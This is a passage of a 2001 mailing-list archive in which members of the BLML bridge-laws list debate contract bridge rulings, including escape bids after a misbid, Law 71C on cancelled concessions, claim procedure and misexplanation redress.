hand except for the fact that it contains 13 cards, = Law 72B1=20 cannot
apply.  Thus there are no constraints on North's = bidding.=20 =

           = ;            =         --=20 Adam



Amen, =  Kojak=20 I have read some better answers, but I do = not have any=20 religion. ton ------=_NextPart_000_0022_01C08001.266BDE60-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 09:54:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GMsQC06567 for bridge-laws-outgoing; Wed, 17 Jan 2001 09:54:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from email.seznam.cz (smtp.im.cz [195.39.10.4]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0GMsJt06563 for ; Wed, 17 Jan 2001 09:54:20 +1100 (EST) Received: (qmail 23895 invoked from network); 16 Jan 2001 23:13:38 -0000 Received: from datela-1-2-100.dialup.vol.cz (HELO pj) (212.20.97.102) by smtp.im.cz with SMTP; 16 Jan 2001 23:13:38 -0000 From: =?ISO-8859-1?Q?Petr_Jel=EDnek?= To: Subject: RE: [BLML] Escape sequences Date: Tue, 16 Jan 2001 23:58:12 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <3.0.6.32.20010115150615.00830c10@pop.ulb.ac.be> Importance: Normal Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > -----Original Message----- > From: owner-bridge-laws@rgb.anu.edu.au > [mailto:owner-bridge-laws@rgb.anu.edu.au]On Behalf Of alain gottcheiner > Sent: Monday, January 15, 2001 3:06 PM > To: Herman De Wael; bridge-laws@rgb.anu.edu.au > Subject: Re: [BLML] Escape sequences > > > At 09:43 15/01/01 +0100, you wrote: > >One of the "misbids" in the Belgian first division that I > >told you about in the thread "Automatic Penalties" was the > >following : > > > > 2NT 3NT > > 4Sp 4NT > > pass > > > >3NT showed 5 spades and 4 hearts, and when the tray came > >back with 4Sp, the bidder realised he'd made a mistake and > >told his opponent. He bid 4NT and said to his screenmate > >"to pass". > >On the other side of the screen, 4NT was explained as > >"partner has forgotten again". > > > >As I said, I ruled "no infractions" (apart from the original > >misexplanation of 3NT on one side, from which there was no > >damage). > > > >But are such escape sequences legal ? > > AG : in this very specific case (but most aren't as obvious), no UI > filtered. It is obvious to responder that a wheel came loose. Partner's > bidding makes it obvious, and he has the right to take partner's bids into > account. And he didn't see partner's alert. > He is allowed to do whatever he wishes. > But the opener's strategy is strange : here we see a player who thinks it > better to assume partner has forgotten his system, rather than that he has > slam ambition and is BWing, DIing or whatever. No, 3NT deny a slammish hand (it is often passed). It was not said in the original message but there is no point in allowing S/T hands in 3NT. > Anyway, he takes his guess, > and there is nothing tu suggest he has been helped in his decision. Of > course, if the 4NT bid was audibly slammed, it is a horse of a very > different color (slamming is less slammish, huh ?). Same if there was a > long time before 4NT came back, or if some burble was audible > from the ther > side of the screen. I believe that it is so obvious that it should be allowed even without screens (seeing partner`s Alert) - isn`t 4S revealing enough? 4NT cannot be constructive (see above) so no infraction by opener either. > There is a minor infraction : the right explanation was not 'to play', but > 'to play, because I don't have what I've bid'. > > Alain. > -- Petr Jelinek Mail me: mailto:pje@seznam.cz Prague, Czech Rep. Meet me: on Zone jelly_cz on e-bridge jelly -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 11:30:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0H0TcH06669 for bridge-laws-outgoing; Wed, 17 Jan 2001 11:29:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0H0TVt06665 for ; Wed, 17 Jan 2001 11:29:32 +1100 (EST) Received: from oemcomputer (dialup-021.sligo.iol.ie [194.125.48.213]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id AAA64036 for ; Wed, 17 Jan 2001 00:29:21 GMT Received: by localhost with Microsoft MAPI; Wed, 17 Jan 2001 00:30:25 -0000 Message-ID: <01C0801C.AF0BCE40.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] The same but different. Date: Wed, 17 Jan 2001 00:30:24 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Anne asked: Please Compare and Contrast Law 16A and Law 73C This was a good question and I thought it might provoke some discussion? DWS answered: Easy peasy: L73C tells players what to do, L16A tells TDs what to do. Ok. L73C tells the player what to do while the TD will expect the player to act as in L16. So why not tell the player how the TD will expect him to act? Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 11:58:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0H0wQ706705 for bridge-laws-outgoing; Wed, 17 Jan 2001 11:58:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0H0wHt06700 for ; Wed, 17 Jan 2001 11:58:20 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14IgvH-0005Od-0U for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 00:57:59 +0000 Message-ID: Date: Tue, 16 Jan 2001 15:40:44 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: TR: [BLML] Law 71: Concession cancelled References: <01011519525801.00176@psa836> In-Reply-To: <01011519525801.00176@psa836> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David J Grabiner writes >On Mon, 15 Jan 2001, David Stevenson wrote: >> >71C. Implausible Concession >> > if a player has conceded a trick that cannot be lost by >> > any normal play of the remaining cards. Until the >> > conceding side makes a call on a subsequent board, or >> > until the round ends, the Director shall cancel the >> > concession of a trick that could not have been lost >> > by any normal play of the remaining cards. >> >> The second sentence has not been deleted. However, it has been >> realised that it is superfluous, and it is acceptable to treat this Law >> _as though_ it had been deleted. >> >> Any situation covered by the second sentence is also covered by the >> first sentence, also some situations not covered by the second sentence >> are covered by the first sentence. >I had always understood the second sentence to limit the scope of the >first sentence. If declarer concedes, "You get your trump queen" when >there is no trump out and he has all winners on his stated line of play, >this can be corrected at any time in the correction period under Law >71A. If he concedes "down one" when he had already made the contract, >this can be corrected at any time under both L71A and L71B. If he >concedes, "You get your trump queen" when he holds JT2 and the >outstanding trump is the 9, leading the 2 is not rational (according to >an interpretation in an ACBL Bulletin article), but declarer can only >get the trick back if he calles the TD before the round ends. The letter of the Law suggests otherwise. I tried to argue at one time as you said, based on the idea that it was not logical to include the second sentence otherwise, and it was decided that the second sentence was superfluous, and had been left in accidentally when other changes were made to the Law. >In contrast, L69B allows an acquiescence to be withdrawn during the full >correction period, if the trick could not be lost under any normal line >of play. When the ACBL published its guide to the 1987 Laws changes, >it explicitly mentioned this distinction. Acquiescence is totally different. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 12:11:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0H1BTn06736 for bridge-laws-outgoing; Wed, 17 Jan 2001 12:11:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0H1BLt06732 for ; Wed, 17 Jan 2001 12:11:23 +1100 (EST) Received: (qmail 46915 invoked for bounce); 17 Jan 2001 00:55:28 -0000 Received: from dialin-194-29-59-42.frankfurt.gigabell.net (HELO rabbit) (194.29.59.42) by smtp.myokay.net with SMTP; 17 Jan 2001 00:55:28 -0000 Message-ID: <04ca01c08020$8d32cf40$013a1dc2@rabbit> From: "Thomas Dehn" To: "Bridge Laws" References: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> <3A62BF2F.37107955@village.uunet.be> <000f01c07ef0$1c92afc0$33daa2c3@upc.chello.be> Subject: Re: [BLML] Your opinion pls. Date: Wed, 17 Jan 2001 01:52:51 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Gelders Hans" wrote: > Do you call me a liar Herman? Another small piece of embellishment? > > There were quite a number of people kibitzing at my side of > the screen. You know them almost all, I think. Please inform yourself > decently before making such idiot remarks. > And further, it's normal that the person who called the > TD explains the problem. I at least tried 3 times > to intervene and you basically said : "Shut up". > I consider to make an official complaint as > your decisions are always going in the same direction. > Just for the members of this group: the 4NT > bid that suddenly meant that the first bid was wrong > was also in one of our matches (at our partners table). Beware, *THEY* are after you, and Herman is one of *THEM*. Now that *THEY* know your email address *THEY* will come and get you. Please increase you knowledge of the laws and decrease your paranoia. Herman's ruling in that other case is so obviously correct that I am surprised you did call the TD at all. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 12:34:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0H1XuS06762 for bridge-laws-outgoing; Wed, 17 Jan 2001 12:33:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0H1Xot06758 for ; Wed, 17 Jan 2001 12:33:51 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Tue, 16 Jan 2001 17:33:04 -0800 Message-ID: <00ae01c08025$7d69b9c0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "'bridge-laws@octavia.anu.edu.au'" References: <01C0801C.AF0BCE40.tsvecfob@iol.ie> Subject: Re: [BLML] The same but different. Date: Tue, 16 Jan 2001 17:31:49 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Fearghal O'Boyle" > > Anne asked: > Please Compare and Contrast Law 16A and Law 73C > > > This was a good question and I thought it might provoke some discussion? > > > DWS answered: > Easy peasy: L73C tells players what to do, L16A tells TDs what to do. > > Ok. L73C tells the player what to do while the TD will expect the player to act as in L16. > So why not tell the player how the TD will expect him to act? The Preface to the Laws brags about the degree of cross-referencing that has been incorporated. Evidently the lawmakers missed this one. L73C should reference L16A. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 15:48:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0H4lJ316158 for bridge-laws-outgoing; Wed, 17 Jan 2001 15:47:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0H4lCt16122 for ; Wed, 17 Jan 2001 15:47:13 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Tue, 16 Jan 2001 20:46:28 -0800 Message-ID: <00cf01c08040$828fd360$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01011519525801.00176@psa836> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Tue, 16 Jan 2001 20:44:15 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > >On Mon, 15 Jan 2001, David Stevenson wrote: > > >> >71C. Implausible Concession > >> > if a player has conceded a trick that cannot be lost by > >> > any normal play of the remaining cards. Until the > >> > conceding side makes a call on a subsequent board, or > >> > until the round ends, the Director shall cancel the > >> > concession of a trick that could not have been lost > >> > by any normal play of the remaining cards. > >> > >> The second sentence has not been deleted. However, it has been > >> realised that it is superfluous, and it is acceptable to treat this Law > >> _as though_ it had been deleted. > >> >I tried to argue at one > time as you said, based on the idea that it was not logical to include > the second sentence otherwise, and it was decided that the second > sentence was superfluous, and had been left in accidentally when other > changes were made to the Law. The second sentence is not superfluous, which means adding nothing to the first sentence. It is a contradiction of the first sentence, carrying a different meaning. Let's just say it's a goof, a fossil that should have been removed when L71 was recast. Going over the Laws for the last few years on BLML, I have gained a new respect for them. Often when I see something that looks nuts, it turns out that I am the nut. It's obvious that a lot of thought and discussion by smart people must have gone into their creation. I do have a problem with the editing. A good editor could tighten up the wording, check that all the cross-references are there, and watch for inconsistencies, omissions, ambiguities, redundancies, and contradictions. One problem I see when examining the revisions that have been incorporated every decade or so is that when a good change is inserted, insufficient care has been taken to ensure that all neighboring language has been checked for compatibility with the change. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 18:57:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0H7tsQ20310 for bridge-laws-outgoing; Wed, 17 Jan 2001 18:55:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0H7tjt20261 for ; Wed, 17 Jan 2001 18:55:47 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id IAA13930; Wed, 17 Jan 2001 08:51:33 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id IAA24420; Wed, 17 Jan 2001 08:55:32 +0100 (MET) for Message-Id: <3.0.6.32.20010117090748.0086fa60@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 17 Jan 2001 09:07:48 +0100 To: Steve Willner , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] In-Reply-To: <200101162040.PAA12472@cfa183.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 15:40 16/01/01 -0500, Steve Willner wrote: > >On looking at L6D1, though, I'm not sure I understand it. Suppose a >card is accidentally turned face up during the initial shuffling. >Clearly we redeal, L6D1, no problem. But what happens if, on a later >round, a player turns a card face up as he is removing his cards from >the board? Or if you want to be technical, exposes it in such a way >that other players can see it but he himself cannot? The auction >period has not begun (L17A), so it would seem that 6D1 still applies. >But it doesn't seem right to reshuffle after the board has already been >played. What am I missing? AG : nothing at all. L6D1 is there to say that a board may not be played after a player has learnt where some specific card lies. When somebody's card is seen by others, the organigram would go as follows : Did the auction begin ? (did somebody see one's own cards ?) If yes, L24 applies (mPC or MPC according to the rank) Else : Was the board already played at some other table (or deskboard) ? If not, reshuffle. Else : No law provides us with the right way to save the board, so apply L12C1, typically giving 50/60 + penalty to any player whose action at another table created the mess (like placing one card face upwards in the slot). Seems like all possibilities are covered, or aren't they ? Alain. >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 19:03:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0H83CL22900 for bridge-laws-outgoing; Wed, 17 Jan 2001 19:03:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0H835t22852 for ; Wed, 17 Jan 2001 19:03:05 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id JAA16717; Wed, 17 Jan 2001 09:00:27 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id JAA27748; Wed, 17 Jan 2001 09:02:51 +0100 (MET) for Message-Id: <3.0.6.32.20010117091507.0086e7b0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 17 Jan 2001 09:15:07 +0100 To: Petr =?iso-8859-1?Q?Jel=EDnek?= , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: RE: [BLML] Escape sequences In-Reply-To: References: <3.0.6.32.20010115150615.00830c10@pop.ulb.ac.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 23:58 16/01/01 +0100, you wrote: > >I believe that it is so obvious that it should be allowed even without >screens (seeing partner`s Alert) - isn`t 4S revealing enough? 4NT cannot be >constructive (see above) so no infraction by opener either. AG : IBTD. The 'normal' sense of 4NT, assuming partner didn't forget, is that is hand was non-slammish facing no fit, but slammish facing a fit, which is not absurd. We're speaking of LAs here. If responder's mannerism makes it obvious that he bids 4NT as an escape, this is UI, and opener may not select this option ('4NT is forcing' is a LA, as well as '4NT is an escape', so select the former). If nothing filters, opener may decide that 4NT is an escape. And too bad if it isn't. >> >> Alain. >> -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 21:52:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HApRl19636 for bridge-laws-outgoing; Wed, 17 Jan 2001 21:51:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from plutonium.uunet.be (plutonium.uunet.be [194.7.1.47]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HApKt19632 for ; Wed, 17 Jan 2001 21:51:21 +1100 (EST) Received: from village.uunet.be (uu212-190-3-108.unknown.uunet.be [212.190.3.108]) by plutonium.uunet.be (8.9.1/8.9.1) with ESMTP id LAA22520 for ; Wed, 17 Jan 2001 11:51:13 +0100 (CET) Message-ID: <3A644FC7.3B1BF474@village.uunet.be> Date: Tue, 16 Jan 2001 14:42:31 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Claim: Correct Procedure References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > > You may be right that he has no right to inspect his partner's hand > but no-one would ever get a ruling based on it, and I would probably hit > declarer with a DP if he tried it. > Anyway, he has the right to see claimer's hand, so he knows all the cards. How can he not be allowed to also see partner's hand. I always summarize, when deciding whether to acquiesce a claim, defenders become Garozzo-Belladonna. I should add "with mind-reading capabilities". -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 22:48:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HBmHg05187 for bridge-laws-outgoing; Wed, 17 Jan 2001 22:48:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HBm9t05143 for ; Wed, 17 Jan 2001 22:48:10 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id MAA22070; Wed, 17 Jan 2001 12:43:58 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id MAA05472; Wed, 17 Jan 2001 12:47:56 +0100 (MET) for Message-Id: <3.0.6.32.20010117130012.0085aea0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 17 Jan 2001 13:00:12 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] Claim: Correct Procedure In-Reply-To: <3A644FC7.3B1BF474@village.uunet.be> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:42 16/01/01 +0100, Herman De Wael wrote: >David Stevenson wrote: >> >> >> You may be right that he has no right to inspect his partner's hand >> but no-one would ever get a ruling based on it, and I would probably hit >> declarer with a DP if he tried it. >> > >Anyway, he has the right to see claimer's hand, so he knows >all the cards. How can he not be allowed to also see >partner's hand. > >I always summarize, when deciding whether to acquiesce a >claim, defenders become Garozzo-Belladonna. I should add >"with mind-reading capabilities". AG : good formula. The only problem being, since they are not those you assume, there is still a danger that they won't realize the contract could still go down (or whatever). Which means they must be allowed to challenge the claim, without stating how they would have defended. Do the Laws provide for that ? A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 22:58:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HBw3q06386 for bridge-laws-outgoing; Wed, 17 Jan 2001 22:58:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HBvvt06382 for ; Wed, 17 Jan 2001 22:57:57 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id MAA24423; Wed, 17 Jan 2001 12:53:46 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id MAA11935; Wed, 17 Jan 2001 12:57:43 +0100 (MET) for Message-Id: <3.0.6.32.20010117131000.00860100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 17 Jan 2001 13:10:00 +0100 To: bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: [BLML] credibility Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Dear blmlists, As one can see from yours truly's usual mails, I'm very hot on penalizing dubious explanations, but also on adjusting split scores. An interesting case occured yesterday in Zweiffel Cup (the second biggest T4 competition in Belgium). Good players all around. Vulnerability irrelevant. The bidding : 3D - 4D - 4S - 5D (4D is forward-going but NF). You lead AC from : Kxxxx - xxx - xx - Axx and see dummy's : AQJ10 - KJxxx - xxx - x. Now you enquire about 4S (which was not alerted) and are told 'could well be 64'. You play a spade, hoping for a ruff, and ... it's declarer who is void. The contract now wins. My questions : a) is the TD right to assume the explanation was fishy, since if opener has 64, the hand above should clearly pass ? b) if he does, what should then be the OS's score ? c) Should the opponents receive any redress ? Partner could play some very high club on the lead, to demand a spede return, and didn't. Is this enough to cut the link between the wrong explanation and the result ? Thank you for giving you opinion. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 00:43:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HDg2O18328 for bridge-laws-outgoing; Thu, 18 Jan 2001 00:42:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-2.cais.net (stmpy-2.cais.net [205.252.14.72]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HDftt18289 for ; Thu, 18 Jan 2001 00:41:56 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-2.cais.net (8.11.1/8.11.1) with ESMTP id f0HDfoB05623 for ; Wed, 17 Jan 2001 08:41:50 -0500 (EST) Message-Id: <4.3.2.7.1.20010117083016.00a91460@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 17 Jan 2001 08:43:23 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:05 PM 1/14/01, David wrote: > Dealer South, North bids out of turn, not accepted, so South is >silenced. Are there any constraints on North's bidding? Yes, there are constraints imposed by L23. North should not take any action which is more likely to succeed with partner barred than it would be were partner free to bid. TD's authority to adjust (given damage) comes from L72B1. Didn't we come to this conclusion recently in a thread about psyching opposite a barred partner? Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 01:42:44 